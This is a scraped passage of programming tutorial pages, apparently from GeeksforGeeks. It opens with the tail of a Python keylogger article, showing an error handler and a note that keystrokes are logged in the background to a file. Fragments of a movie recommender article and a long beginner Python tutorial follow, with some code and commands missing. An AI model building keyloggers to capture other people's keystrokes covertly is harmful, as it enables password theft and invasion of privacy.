exceptException as ex:
# Write exceptions to the log file, for analysis later.
msg ='Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
Output: The keylogger will be started in the background and save all the data on the file.log file “/home/Akash/Desktop”.
References https://en.wikipedia.org/wiki/Keystroke_logging This article is contributed by Akash Sharan. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Python | Implementation of Movie Recommender System
Recommender System is a system that seeks to predict or filter preferences according to the user’s choices. Recommender systems are utilized in a variety of areas including movies, music, news, books, research articles, search queries, social tags, and products in general. Recommender systems produce a list of recommendations in any of the two ways –
Collaborative filtering: Collaborative filtering approaches build a model from the user’s past behavior (i.e. items purchased or searched by the user) as well as similar decisions made by other users. This model is then used to predict items (or ratings for items) that users may have an interest in.
Content-based filtering: Content-based filtering approaches uses a series of discrete characteristics of an item in order to recommend additional items with similar properties. Content-based filtering methods are totally based on a description of the item and a profile of the user’s preferences. It recommends items based on the user’s past preferences.
Let’s develop a basic recommendation system using Python and Pandas. Let’s focus on providing a basic recommendation system by suggesting items that are most similar to a particular item, in this case, movies. It just tells what movies/items are most similar to the user’s movie choice. To download the files, click on the links – .tsv file, Movie_Id_Titles.csv. Import dataset with delimiter “\t” as the file is a tsv file (tab-separated file).
corr_liarliar =corr_liarliar.join(ratings['num of ratings'])
corr_liarliar[corr_liarliar['num of ratings']>100].sort_values('Correlation', ascending =False).head()
My Personal Notesarrow_drop_up
Learn Python Tutorial
Last Updated :10 Jul, 2021
Python is a high-level programming language and is widely being used among the developers’ community. Python was mainly developed for emphasis on code readability, and its syntax allows programmers to express concepts in fewer lines of code. Python is a programming language that lets developers work quickly and integrate systems more efficiently. This Python tutorial provides learners (either beginner or experienced developer) with the topics from Python basics to advanced topics with examples.
Python has many reasons for being popular and in demand. A few of the reasons are mentioned below.
Emphasis on code readability, shorter codes, ease of writing.
Programmers can express logical concepts in fewer lines of code in comparison to languages such as C++ or Java.
Python supports multiple programming paradigms, like object-oriented, imperative and functional programming or procedural.
It provides extensive support libraries(Django for web development, Pandas for data analytics etc)
Dynamically typed language(Data type is based on value assigned)
Philosophy is “Simplicity is the best”.
Application Areas
Getting started with Python Tutorial –
Python is a lot easier to code and learn. Python programs can be written on any plain text editor like notepad, notepad++, or anything of that sort. One can also use an online IDE for writing Python codes or can even install one on their system to make it more feasible to write these codes because IDEs provide a lot of features like intuitive code editor, debugger, compiler, etc. To begin with, writing Python Codes and performing various intriguing and useful operations, one must have Python installed on their System. This can be done by following the step by step instructions provided below:
What if Python already exists? Let’s check
Windows don’t come with Python preinstalled, it needs to be installed explicitly. But unlike windows, most of the Linux OS have Python pre-installed, also macOS comes with Python pre-installed. To check if your device is pre-installed with Python or not, just go to Command Line(For Windows, search for cmd in the Run dialog( + R), for Linux open the terminal using Ctrl+Alt+T, for macOS use control+Option+Shift+T.
Now run the following command: For Python2
python --version
For Python3
python3 --version
If Python is already installed, it will generate a message with the Python version available.
Download and Installation
Before starting with the installation process, you need to download it. For that all versions of Python for Windows, Linux, and MacOS are available on python.org.
Windows
Linux
MacOS
Download the Python and follow the further instructions for the installation of Python.
Beginning the installation.
Windows
Run the Python Installer from downloads folder. Make sure to mark Add Python 3.7 to PATH otherwise you will have to do it explicitly. It will start installing python on windows.
After installation is complete click on Close. Bingo..!! Python is installed. Now go to windows and type IDLE.
Linux
For almost every Linux system, the following commands would work definitely.
Enter system password if prompted. This will install the Homebrew package Manager on your OS. After you see a message called “Installation Successful”. You are ready to install python version 3 on your macOS.
Install Python Latest Version on macOS / macOS X
Open Terminal and enter the following command.
brew install python3
After command processing is complete, Python’s version 3 would be installed on your mac.
To verify the installation enter following commands in your Terminal app
pythona fa-hand-o-right
pip3
How to run a Python program
Let’s consider a simple Hello World Program.
# Python program to print
# Hello World
print("Hello World")
Generally, there are two ways to run a Python program.
Using IDEs: You can use various IDEs(Pycharm, Jupyter Notebook, etc.) which can be used to run Python programs.
Using Command-Line: You can also use command line options to run a Python program. Below steps demonstrate how to run a Python program on Command line in Windows/Unix Operating System:
Windows
Open Commandline and then to compile the code type python HelloWorld.py. If your code has no error then it will execute properly and output will be displayed.
Unix/Linux
Open Terminal of your Unix/Linux OS and then to compile the code type python HelloWorld.py. If your code has no error then it will execute properly and output will be displayed.
Fundamentals of Python
Python Indentation
Python uses indentation to highlight the blocks of code. Whitespace is used for indentation in Python. All statements with the same distance to the right belong to the same block of code. If a block has to be more deeply nested, it is simply indented further to the right. You can understand it better by looking at the following lines of code.
# Python program showing
# indentation
site = 'gfg'
if site == 'gfg':
print('Logging on to geeksforgeeks...')
else:
print('retype the URL.')
print('All set !')
Output:
Logging on to geeksforgeeks...
All set !
The lines print(‘Logging on to geeksforgeeks…’) and print(‘retype the URL.’) are two separate code blocks. The two blocks of code in our example if-statement are both indented four spaces. The final print(‘All set!’) is not indented, and so it does not belong to the else-block.
Comments are useful information that the developers provide to make the reader understand the source code. It explains the logic or a part of it used in the code. There are two types of comment in Python:
Single line comments: Python single line comment starts with hashtag symbol with no white spaces.
# This is a comment
# Print “GeeksforGeeks !” to console
print("GeeksforGeeks")
Multi-line string as comment: Python multi-line comment is a piece of text enclosed in a delimiter (“””) on each end of the comment.
"""
This would be a multiline comment in Python that
spans several lines and describes geeksforgeeks.
A Computer Science portal for geeks. It contains
well written, well thought
and well-explained computer science
and programming articles,
quizzes and more.
…
"""
print("GeeksForGeeks")
Variables in Python are not “statically typed”. We do not need to declare variables before using them or declare their type. A variable is created the moment we first assign a value to it.
#!/usr/bin/python
# An integer assignment
age = 45
# A floating point
salary = 1456.8
# A string
name = "John"
print(age)
print(salary)
print(name)
Operators are the main building block of any programming language. Operators allow the programmer to perform different kinds of operations on operands. These operators can be categorized based upon their different functionality:
Arithmetic operators: Arithmetic operators are used to perform mathematical operations like addition, subtraction, multiplication and division.
# Examples of Arithmetic Operator
a = 9
b = 4
# Addition of numbers
add = a + b
# Subtraction of numbers
sub = a - b
# Multiplication of number
mul = a * b
# Division(float) of number
div1 = a / b
# Division(floor) of number
div2 = a // b
# Modulo of both number
mod = a % b
# print results
print(add)
print(sub)
print(mul)
print(div1)
print(div2)
print(mod)
Output:
13
5
36
2.25
2
1
Relational Operators: Relational operators compares the values. It either returns True or False according to the condition.
# Examples of Relational Operators
a = 13
b = 33
# a > b is False
print(a > b)
# a < b is True
print(a < b)
# a == b is False
print(a == b)
# a != b is True
print(a != b)
# a >= b is False
print(a >= b)
# a <= b is True
print(a <= b)
Output:
False
True
False
True
False
True
Logical Operators: Logical operators perform Logical AND, Logical OR and Logical NOT operations.
# Examples of Logical Operator
a = True
b = False
# Print a and b is False
print(a and b)
# Print a or b is True
print(a or b)
# Print not a is False
print(not a)
Output:
False
True
False
Bitwise operators: Bitwise operator acts on bits and performs bit by bit operation.
# Examples of Bitwise operators
a = 10
b = 4
# Print bitwise AND operation
print(a & b)
# Print bitwise OR operation
print(a | b)
# Print bitwise NOT operation
print(~a)
# print bitwise XOR operation
print(a ^ b)
# print bitwise right shift operation
print(a >> 2)
# print bitwise left shift operation
print(a << 2)
Output:
0
14
-11
14
2
40
Assignment operators: Assignment operators are used to assign values to the variables.
Special operators: Special operators are of two types-
Identity operator that contains is and is not.
Membership operator that contains in and not in.
# Examples of Identity and
# Membership operator
a1 = 'GeeksforGeeks'
b1 = 'GeeksforGeeks'
# Identity operator
print(a1 is not b1)
print(a1 is b1)
# Membership operator
print("G" in a1)
print("N" not in b1)
Python provides us with two inbuilt functions to read the input from the keyboard.
raw_input(): This function works in older version (like Python 2.x). This function takes exactly what is typed from the keyboard, convert it to string and then return it to the variable in which we want to store. For example:
# Python program showing
# a use of raw_input()
g = raw_input("Enter your name : ")
print g
input(): This function first takes the input from the user and then evaluates the expression, which means Python automatically identifies whether the user entered a string or a number or list. For example:
# Python program showing
# a use of input()
val = input("Enter your value: ")
print(val)
The simplest way to produce output is using the print() function where you can pass zero or more expressions separated by commas. This function converts the expressions you pass into a string before writing to the screen.
# Python 3.x program showing
# how to print data on
# a screen
# One object is passed
print("GeeksForGeeks")
x = 5
# Two objects are passed
print("x =", x)
# code for disabling the softspace feature
print('G', 'F', 'G', sep ='')
# using end argument
print("Python", end = '@')
print("GeeksforGeeks")
Output:
GeeksForGeeks
x = 5
GFG
Python@GeeksforGeeks
Data Types
Data types are the classification or categorization of data items. It represents the kind of value that tells what operations can be performed on a particular data. Since everything is an object in Python programming, data types are actually classes and variables are instance (object) of these classes.
Numeric
In Python, numeric data type represent the data which has numeric value. Numeric value can be interger, floating number or even complex numbers. These values are defined as int, float and complex class in Python.
# Python program to
# demonstrate numeric value
print("Type of a: ", type(5))
print("\nType of b: ", type(5.0))
c = 2 + 4j
print("\nType of c: ", type(c))
Output:
Type of a: <class 'int'>
Type of b: <class 'float'>
Type of c: <class 'complex'>
Sequence Type
In Python, a sequence is the ordered collection of similar or different data types. Sequences allow storing multiple values in an organized and efficient fashion. There are several sequence types in Python –
String
List
Tuple
1) String: A string is a collection of one or more characters put in a single quote, double-quote or triple quote. In python there is no character data type, a character is a string of length one. It is represented by str class. Strings in Python can be created using single quotes or double quotes or even triple quotes.
# Python Program for
# Creation of String
# String with single quotes
print('Welcome to the Geeks World')
# String with double quotes
print("I'm a Geek")
# String with triple quotes
print('''I'm a Geek and I live in a world of "Geeks"''')
Output:
Welcome to the Geeks World
I'm a Geek
I'm a Geek and I live in a world of "Geeks"
Accessing elements of string –
# Python Program to Access
# characters of String
String1 = "GeeksForGeeks"
# Printing First character
print(String1[0])
# Printing Last character
print(String1[-1])
Output:
G
s
Deleting/Updating from a String –
In Python, Updation or deletion of characters from a String is not allowed because Strings are immutable. Only new strings can be reassigned to the same name.
# Python Program to Update / delete
# character of a String
String1 = "Hello, I'm a Geek"
# Updating a character
String1[2] = 'p'
# Deleting a character
del String1[2]
Output:
Traceback (most recent call last):
File “/home/360bb1830c83a918fc78aa8979195653.py”, line 6, in
String1[2] = ‘p’
TypeError: ‘str’ object does not support item assignment
Traceback (most recent call last):
File “/home/499e96a61e19944e7e45b7a6e1276742.py”, line 8, in
del String1[2]
TypeError: ‘str’ object doesn’t support item deletion
2) List:Lists are just like the arrays, declared in other languages. A single list may contain DataTypes like Integers, Strings, as well as Objects. The elements in a list are indexed according to a definite sequence and the indexing of a list is done with 0 being the first index. It is represented by list class.
# Python program to demonstrate
# Creation of List
# Creating a List
List = []
print(List)
# Creating a list of strings
List = ['GeeksForGeeks', 'Geeks']
print(List)
# Creating a Multi-Dimensional List
List = [['Geeks', 'For'], ['Geeks']]
print(List)
# Python program to demonstrate
# Addition of elements in a List
# Creating a List
List = []
# Using append()
List.append(1)
List.append(2)
print(List)
# Using insert()
List.insert(3, 12)
List.insert(0, 'Geeks')
print(List)
# Using extend()
List.extend([8, 'Geeks', 'Always'])
print(List)
Use the index operator [ ] to access an item in a list. In Python, negative sequence indexes represent positions from the end of the array. Instead of having to compute the offset as in List[len(List)-3], it is enough to just write List[-3].
# Python program to demonstrate
# accessing of element from list
List = [1, 2, 3, 4, 5, 6]
# accessing a element
print(List[0])
print(List[2])
# Negative indexing
# print the last element of list
print(List[-1])
# print the third last element of list
print(List[-3])
Output:
1
3
6
4
Removing Elements from the List: Using remove() and pop()
# Python program to demonstrate
# Removal of elements in a List
# Creating a List
List = [1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12]
# using Remove() method
List.remove(5)
List.remove(6)
print(List)
# using pop()
List.pop()
print(List)
3) Tuple:Tuple is an ordered collection of Python objects much like a list. The important difference between a list and a tuple is that tuples are immutable. It is represented by tuple class. In Python, tuples are created by placing a sequence of values separated by ‘comma’ with or without the use of parentheses for grouping of the data sequence.
# Python program to demonstrate
# creation of Set
# Creating an empty tuple
Tuple1 = ()
print (Tuple1)
# Creating a tuple of strings
print(('Geeks', 'For'))
# Creating a Tuple of list
print(tuple([1, 2, 4, 5, 6]))
# Creating a nested Tuple
Tuple1 = (0, 1, 2, 3)
Tuple2 = ('python', 'geek')
Tuple3 = (Tuple1, Tuple2)
print(Tuple3)
Use the index operator [ ] to access an item in a tuple.
# Python program to
# demonstrate accessing tuple
tuple1 = tuple([1, 2, 3, 4, 5])
# Accessing element using indexing
print(tuple1[0])
# Accessing element using Negative
# Indexing
print(tuple1[-1])
Output:
1
5
Deleting/updating elements of tuple –
Items of a tuple cannot be deleted as tuples are immutable in Python. Only new tuples can be reassigned to the same name.
# Python program to
# demonstrate updation / deletion
# from a tuple
tuple1 = tuple([1, 2, 3, 4, 5])
# Updating an element
tuple1[0] = -1
# Deleting an element
del tuple1[2]
Output:
Traceback (most recent call last):
File "/home/084519a8889e9b0103b874bbbb93e1fb.py", line 11, in
tuple1[0] = -1
TypeError: 'tuple' object does not support item assignment
Traceback (most recent call last):
File "/home/ffb3f8be85dd393bde5d0483ff191343.py", line 12, in
del tuple1[2]
TypeError: 'tuple' object doesn't support item deletion
Booleans are data type with one of the two built-in values, True or False. It is denoted by the class bool.
# Python program to
# demonstrate boolean type
print(type(True))
print(1>2)
print('a'=='a')
Output:
<class 'bool'>
False
True
Set
In Python, Set is an unordered collection of data type that is iterable, mutable and has no duplicate elements. The order of elements in a set is undefined though it may consist of various elements. Sets can be created by using the built-in set() function with an iterable object or a sequence by placing the sequence inside curly braces {}, separated by ‘comma’.
# Python program to demonstrate
# Creation of Set in Python
# Creating a Set
set1 = set()
# Creating a Set of String
set1 = set("GeeksForGeeks")
print(set1)
# Creating a Set of List
set1 = set(["Geeks", "For", "Geeks"])
print(set1)
# Python program to demonstrate
# Addition of elements in a Set
set1 = set()
# Adding to the Set using add()
set1.add(8)
set1.add((6, 7))
print(set1)
# Additio to the Set using Update()
set1.update([10, 11])
print(set1)
Output:
{8, (6, 7)}
{8, 10, 11, (6, 7)}
Accessing a Set: One can loop through the set items using a for loop as set items cannot be accessed by referring to an index.
# Python program to demonstrate
# Accessing of elements in a set
# Creating a set
set1 = set(["Geeks", "For", "Geeks"])
# Accessing using for loop
for i in set1:
print(i, end =" ")
# Python program to demonstrate
# Deletion of elements in a Set
set1 = set([1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12])
# using Remove() method
set1.remove(5)
set1.remove(6)
print(set1)
# using Discard() method
set1.discard(8)
set1.discard(9)
print(set1)
# Set using the pop() method
set1.pop()
print(set1)
# Set using clear() method
set1.clear()
print(set1)
Dictionary in Python is an unordered collection of data values, used to store data values like a map. Dictionary holds key:value pair. Each key-value pair in a Dictionary is separated by a colon :, whereas each key is separated by a ‘comma’. A Dictionary can be created by placing a sequence of elements within curly {} braces, separated by ‘comma’.
Adding elements to a Dictionary: One value at a time can be added to a Dictionary by defining value along with the key e.g. Dict[Key] = ‘Value’.
# Creating an empty Dictionary
Dict = {}
# Adding elements one at a time
Dict[0] = 'Geeks'
Dict[2] = 'For'
Dict[3] = 1
print(Dict)
# Updating existing Key's Value
Dict[2] = 'Welcome'
print(Dict)
Accessing elements from a Dictionary: In order to access the items of a dictionary refer to its key name or use get() method.
# Python program to demonstrate
# accessing an element from a Dictionary
# Creating a Dictionary
Dict = {1: 'Geeks', 'name': 'For', 3: 'Geeks'}
# accessing a element using key
print(Dict['name'])
# accessing a element using get()
print(Dict.get(3))
Output:
For
Geeks
Removing Elements from Dictionary: Using pop() and popitem()
Decision Making in programming is similar to decision making in real life. A programming language uses control statements to control the flow of execution of the program based on certain conditions. These are used to cause the flow of execution to advance and branch based on changes to the state of a program.
# Python program to demonstrate
# decision making
a = 10
b = 15
# if to check even number
if a % 2 == 0:
print("Even Number")
# if-else to check even or odd
if b % 2 == 0:
print("Even Number")
else:
print("Odd Number")
Output:
Even Number
Odd Number
Example 2: To demonstrate nested-if and if-elif
# Python program to demonstrate
# decision making
a = 10
# Nested if to check whether a
# number is divisible by both 2 and 5
if a % 2 == 0:
if a % 5 == 0:
print("Number is divisible by both 2 and 5")
# is-elif
if (a == 11):
print ("a is 11")
elif (a == 10):
print ("a is 10")
else:
print ("a is not present")
Loops in programming come into use when we need to repeatedly execute a block of statements. For example: Suppose we want to print “Hello World” 10 times. This can be done with the help of loops. The loops in Python are:
# Python program to illustrate
# while and while-else loop
i = 0
while (i < 3):
i = i + 1
print("Hello Geek")
# checks if list still
# contains any element
a = [1, 2, 3, 4]
while a:
print(a.pop())
i = 10
while i < 12:
i += 1
print(i)
break
else: # Not executed as there is a break
print("No Break")
# Python program to illustrate
# Iterating over a list
print("List Iteration")
l = ["geeks", "for", "geeks"]
for i in l:
print(i)
# Iterating over a String
print("\nString Iteration")
s = "Geeks"
for i in s :
print(i)
print("\nFor-else loop")
for i in s:
print(i)
else: # Executed because no break in for
print("No Break\n")
for i in s:
print(i)
break
else: # Not executed as there is a break
print("No Break")
Output:
List Iteration
geeks
for
geeks
String Iteration
G
e
e
k
s
For-else loop
G
e
e
k
s
No Break
G
range() function:range() allows user to generate a series of numbers within a given range. Depending on how many arguments user is passing to the function. This function takes three arguments.
1) start: integer starting from which the sequence of integers is to be returned 2) stop: integer before which the sequence of integers is to be returned. 3) step: integer value which determines the increment between each integer in the sequence filter_none
# Python program to demonstrate
# range() function
for i in range(5):
print(i, end =" ")
print()
for i in range(2, 9):
print(i, end =" ")
print()
# incremented by 3
for i in range(15, 25, 3):
print(i, end =" ")
Loop control statements change execution from its normal sequence. Following are the loop control statements provided by Python:
Break: Break statement in Python is used to bring the control out of the loop when some external condition is triggered.
Continue: Continue statement is opposite to that of break statement, instead of terminating the loop, it forces to execute the next iteration of the loop.
Pass: Pass statement is used to write empty loops. Pass is also used for empty control statement, function and classes.
# Python program to demonstrate
# break, continue and pass
s = 'geeksforgeeks'
for letter in s:
if letter == 'e' or letter == 's':
break
print(letter, end = " ")
print()
for letter in s:
if letter == 'e' or letter == 's':
continue
print(letter, end = " ")
print()
for letter in s:
if letter == 'e' or letter == 's':
pass
print(letter, end = " ")
Functions are generally the block of codes or statements in a program that gives the user the ability to reuse the same code which ultimately saves the excessive use of memory, acts as a time saver and more importantly, provides better readability of the code. So basically, a function is a collection of statements that perform some specific task and return the result to the caller. A function can also perform some specific task without returning anything. In Python, def keyword is used to create functions.
# Python program to demonstrate
# functions
# Defining functions
def ask_user():
print("Hello Geeks")
# Function that returns sum
# of first 10 numbers
def my_func():
a = 0
for i in range(1, 11):
a = a + i
return a
# Calling functions
ask_user()
res = my_func()
print(res)
Output:
Hello Geeks
55
Function with arguments
Default arguments: A default argument is a parameter that assumes a default value if a value is not provided in the function call for that argument.
# Python program to demonstrate
# default arguments
def myFun(x, y = 50):
print("x: ", x)
print("y: ", y)
# Driver code
myFun(10)
Output:
('x: ', 10)
('y: ', 50)
Keyword arguments: The idea is to allow caller to specify argument name with values so that caller does not need to remember order of parameters.
Variable length arguments: In Python a function can also have variable number of arguments. This can be used in the case when we do not know in advance the number of arguments that will be passed into a function.
# Python program to demonstrate
# variable length arguments
# variable arguments
def myFun1(*argv):
for arg in argv:
print(arg, end =" ")
# variable keyword arguments
def myFun2(**kwargs):
for key, value in kwargs.items():
print ("% s == % s" %(key, value))
# Driver code
myFun1('Hello', 'Welcome', 'to', 'GeeksforGeeks')
print()
myFun2(first ='Geeks', mid ='for', last ='Geeks')
Output:
Hello Welcome to GeeksforGeeks
first == Geeks
last == Geeks
mid == for
In Python, the lambda/anonymous function means that a function is without a name. The lambda keyword is used to create anonymous functions. Lambda function can have any number of arguments but has only one expression.
# Python code to demonstrate
# labmda function
# Cube using lambda
cube = lambda x: x * x*x
print(cube(7))
# List comprehension using lambda
a = [(lambda x: x * 2)(x) for x in range(5)]
print(a)
Object-oriented programming aims to implement real-world entities like inheritance, hiding, polymorphism, etc in programming. The main aim of OOP is to bind together the data and the functions that operate on them so that no other part of the code can access this data except that function.
Classes and Objects
Class creates a user-defined data structure, which holds its own data members and member functions, which can be accessed and used by creating an instance of that class. A class is like a blueprint for an object.
An Object is an instance of a Class. A class is like a blueprint while an instance is a copy of the class with actual values.
# Python program to demonstrate
# classes and objects
class Dog:
# A simple class attribute
attr1 = "mamal"
attr2 = "dog"
# A sample method
def fun(self):
print("I'm a", self.attr1)
print("I'm a", self.attr2)
# Driver code
# Object instantiation
Rodger = Dog()
# Accessing class attributes
# and method through objects
print(Rodger.attr1)
Rodger.fun()
self represents the instance of the class. By using the “self” keyword we can access the attributes and methods of the class in python. It binds the attributes with the given arguments.
Constructors: Constructors are generally used for instantiating an object.The task of constructors is to initialize(assign values) to the data members of the class when an object of class is created. In Python the __init__() method is called the constructor and is always called when an object is created. There can be two types of constructors:
Default constructor: The constructor which is called implicilty and do not accept any argument.
Parameterized constructor:Constructor which is called explicitly with parameters is known as parameterized constructor.
# Python program to demonstrate
# constructors
class Addition:
# parameterized constructor
def __init__(self, f, s):
self.first = f
self.second = s
def calculate(self):
print(self.first + self.second)
# Invoking parameterized constructor
obj = Addition(1000, 2000)
# perform Addition
obj.calculate()
Destructors: Destructors are called when an object gets destroyed. The __del__() method is a known as a destructor method in Python. It is called when all references to the object have been deleted i.e when an object is garbage collected.
# Python program to illustrate destructor
class Employee:
# Initializing
def __init__(self):
print('Employee created.')
# Deleting (Calling destructor)
def __del__(self):
print('Destructor called, Employee deleted.')
obj = Employee()
del obj
Inheritance is the ability of any class to extract and use features of other classes. It is the process by which new classes called the derived classes are created from existing classes called Base classes.
# A Python program to demonstrate inheritance
class Person():
# Constructor
def __init__(self, name):
self.name = name
# To get name
def getName(self):
return self.name
# To check if this person is employee
def isEmployee(self):
return False
# Inherited or Sub class (Note Person in bracket)
class Employee(Person):
# Here we return true
def isEmployee(self):
return True
# Driver code
emp = Person("Geek1") # An Object of Person
print(emp.getName(), emp.isEmployee())
emp = Employee("Geek2") # An Object of Employee
print(emp.getName(), emp.isEmployee())
Encapsulation describes the idea of wrapping data and the methods that work on data within one unit. This puts restrictions on accessing variables and methods directly and can prevent the accidental modification of data.
# Python program to demonstrate
# encapsulation
# Creating a Base class
class Base:
def __init__(self):
self.a = "GeeksforGeeks"
self.__c = "GeeksforGeeks"
# Creating a derived class
class Derived(Base):
def __init__(self):
# Calling constructor of
# Base class
Base.__init__(self)
print("Calling private member of base class: ")
print(self.__a)
# Driver code
obj = Derived()
Output:
Traceback (most recent call last):
File "/home/5a605c59b5b88751d2b93dd5f932dbd5.py", line 20, in
obj = Derived()
File "/home/5a605c59b5b88751d2b93dd5f932dbd5.py", line 18, in __init__
print(self.__a)
AttributeError: 'Derived' object has no attribute '_Derived__a'
Polymorphism refers to the ability of OOPs programming languages to differentiate between entities with the same name efficiently. This is done by Python with the help of the signature of these entities.
# Python program to demonstrate
# Polymorphism
class A():
def show(self):
print("Inside A")
class B():
def show(self):
print("Inside B")
# Driver's code
a = A()
a.show()
b = B()
b.show()
File handling is the ability of Python to handle files i.e. to read and write files along with many other file handling options. Python treats files differently as text or binary and this is important. Each line of code includes a sequence of characters and they form a text file. Each line of a file is terminated with a special character, called the EOL or End of Line characters like comma {, } or newline character.
Basic File Handling operations in Python are:
1) Open a file: Opening a file refers to getting the file ready either for reading or for writing. This can be done using the open() function. This function returns a file object and takes two arguments, one that accepts the file name and another that accepts the mode(Access Mode). Python provides six Access Modes:
Access Mode
Description
Read Only (‘r’)
Open text file for reading. The handle is positioned at the beginning of the file.
Read and Write (‘r+’)
Open the file for reading and writing. The handle is positioned at the beginning of the file.
Write Only (‘w’)
Open the file for writing. For existing file, the data is truncated and over-written. The handle is positioned at the beginning of the file.
Write and Read (‘w+’)
Open the file for reading and writing. For existing file, data is truncated and over-written. The handle is positioned at the beginning of the file.
Append Only (‘a’)
Open the file for writing. The handle is positioned at the end of the file.
Append and Read (‘a+’)
Open the file for reading and writing. The handle is positioned at the end of the file.
# Open function to open the file "MyFile1.txt"
# (same directory) in read mode and
file1 = open("MyFile.txt", "r")
# store its reference in the variable file1
# and "MyFile2.txt" in D:\Text in file2
file2 = open(r"D:\Text\MyFile2.txt", "r+")
read(): Returns the read bytes in form of a string. Reads n bytes, if no n specified, reads the entire file.
File_object.read([n])
readline(): Reads a line of the file and returns in form of a string.For specified n, reads at most n bytes. However, does not reads more than one line, even if n exceeds the length of the line.
File_object.readline([n])
readlines(): Reads all the lines and return them as each line a string element in a list.
File_object.readlines()
Let’s suppose the file looks like this:
# Program to show various ways to
# read data from a file.
file1 = open("data.txt", "r+")
print("Output of Read function is ")
print(file1.read())
print()
# seek(n) takes the file handle to the nth
# bite from the beginning.
file1.seek(0)
print("Output of Readline function is ")
print(file1.readline())
print()
file1.seek(0)
# readlines function
print("Output of Readlines function is ")
print(file1.readlines())
print()
file1.close()
Output:
Output of Read function is
Code is like humor. When you have to explain it, its bad.
Output of Readline function is
Code is like humor. When you have to explain it, its bad.
Output of Readlines function is
['Code is like humor. When you have to explain it, its bad.']
write(): Inserts the string str1 in a single line in the text file.
File_object.write(str1)
writelines(): For a list of string elements, each string is inserted in the text file. Used to insert multiple strings at a single time.
File_object.writelines(L) for L = [str1, str2, str3]
# Python program to demonstrate
# writing to file
# Opening a file
file1 = open('myfile.txt', 'w')
L = ["This is Delhi \n", "This is Paris \n", "This is London \n"]
s = "Hello\n"
# Writing a string to file
file1.write(s)
# Writing multiple strings
# at a time
file1.writelines(L)
# Closing file
file1.close()
A module is a self-contained Python file that contains Python statements and definitions, like a file named GFG.py, which can be considered as a module named GFG which can be imported with the help of import statement.
Let’s create a simple module named GFG.
# Python program to demonstrate
# modules
# Defining a function
def Geeks():
print("GeeksforGeeks")
# Defining a variable
location = "Noida"
# Defining a class
class Employee():
def __init__(self, name, position):
self. name = name
self.position = position
def show(self):
print("Employee name:", self.name)
print("Employee position:", self.position)
To use the above created module, create a new Python file in the same directory and import GFG module using the import statement.
# Python program to demonstrate
# modules
import GFG
# Use the function created
GFG.Geeks()
# Print the variable declared
print(GFG.location)
# Use the class created
emp = GFG.Employee("Nikhil", "Developer")
emp.show()
Packages are a way of structuring many packages and modules which helps in a well-organized hierarchy of data set, making the directories and modules easy to access.
To create a package in Python, we need to follow these three simple steps:
First, we create a directory and give it a package name, preferably related to its operation.
Then we put the classes and the required functions in it.
Finally we create an __init__.py file inside the directory, to let Python know that the directory is a package.
Example: Let’s create a package for cars.
First we create a directory and name it Cars.
Then we need to create modules. We will create 2 modules – BMW and AUDI.
For Bmw.py
# Python code to illustrate the Modules
class Bmw:
def __init__(self):
self.models = ['i8', 'x1', 'x5', 'x6']
def outModels(self):
print('These are the available models for BMW')
for model in self.models:
print('\t % s ' % model)
For Audi.py
# Python code to illustrate the Module
class Audi:
def __init__(self):
self.models = ['q7', 'a6', 'a8', 'a3']
def outModels(self):
print('These are the available models for Audi')
for model in self.models:
print('\t % s ' % model)
Finally we create the __init__.py file. This file will be placed inside the Cars directory and can be left blank.
Now, let’s use the package that we created. To do this make a sample.py file in the same directory where Cars package is located and add the following code to it:
# Import classes from your brand new package
from Cars import Bmw
from Cars import Audi
# Create an object of Bmw class & call its method
ModBMW = Bmw()
ModBMW.outModels()
# Create an object of Audi class & call its method
ModAudi = Audi()
ModAudi.outModels()
Module Regular Expressions(RE) specifies a set of strings(pattern) that matches it. To understand the RE analogy, MetaCharacters are useful, important and will be used in functions of module re. There are a total of 14 metacharacters:
\ Used to drop the special meaning of character
following it (discussed below)
[] Represent a character class
^ Matches the beginning
$ Matches the end
. Matches any character except newline
? Matches zero or one occurrence.
| Means OR (Matches with any of the characters
separated by it.
* Any number of occurrences (including 0 occurrences)
+ One ore more occurrences
{} Indicate the number of occurrences of a preceding RE
to match.
() Enclose a group of REs
The most frequently used methods are:
re.findall(): Return all non-overlapping matches of pattern in string, as a list of strings. The string is scanned left-to-right, and matches are returned in the order found.
# A Python program to demonstrate working of
# findall()
import re
string = """Hello my Number is 123456789 and
my friend's number is 987654321"""
# A sample regular expression to find digits.
regex = '\d+'
match = re.findall(regex, string)
print(match)
Output:
['123456789', '987654321']
In the above example, metacharacter blackslash ‘\’ has a very important role as it signals various sequences. If the blackslash is to be used without its special meaning as metacharacter, use’\\’.
\d Matches any decimal digit, this is equivalent
to the set class [0-9].
\D Matches any non-digit character.
\s Matches any whitespace character.
\S Matches any non-whitespace character
\w Matches any alphanumeric character, this is
equivalent to the class [a-zA-Z0-9_].
\W Matches any non-alphanumeric character.
re.compile(): Regular expressions are compiled into pattern objects, which have methods for various operations such as searching for pattern matches or performing string substitutions.
# A Python program to demonstrate working of
# compile()
import re
# it is equivalent to [abcde].
p = re.compile('[a-e]')
print(p.findall("Aye, said Mr. Gibenson Stark"))
Output:
['e', 'a', 'd', 'b', 'e', 'a']
re.match(): This function attempts to match pattern to whole string. The re.match function returns a match object on success, None on failure.
# A Python program to demonstrate working
# of re.match().
import re
def findMonthAndDate(string):
regex = r"([a-zA-Z]+) (\d+)"
match = re.match(regex, string)
if match == None:
print("Not a valid date")
return
print("Given Data: % s" % (match.group()))
print("Month: % s" % (match.group(1)))
print("Day: % s" % (match.group(2)))
# Driver Code
findMonthAndDate("Jun 24")
print("")
findMonthAndDate("I was born on June 24")
Output:
Given Data: Jun 24
Month: Jun
Day: 24
Not a valid date
re.search(): This method either returns None (if the pattern doesn’t match), or a re.MatchObject that contains information about the matching part of the string.
# A Python program to demonstrate working of re.match().
import re
regex = r"([a-zA-Z]+) (\d+)"
match = re.search(regex, "I was born on June 24")
if match != None:
print("Match at index % s, % s" % (match.start(), match.end()))
# this will print "June 24"
print("Full match: % s" % (match.group(0)))
# this will print "June"
print("Month: % s" % (match.group(1)))
# this will print "24"
print("Day: % s" % (match.group(2)))
else:
print("The regex pattern does not match.")
Output:
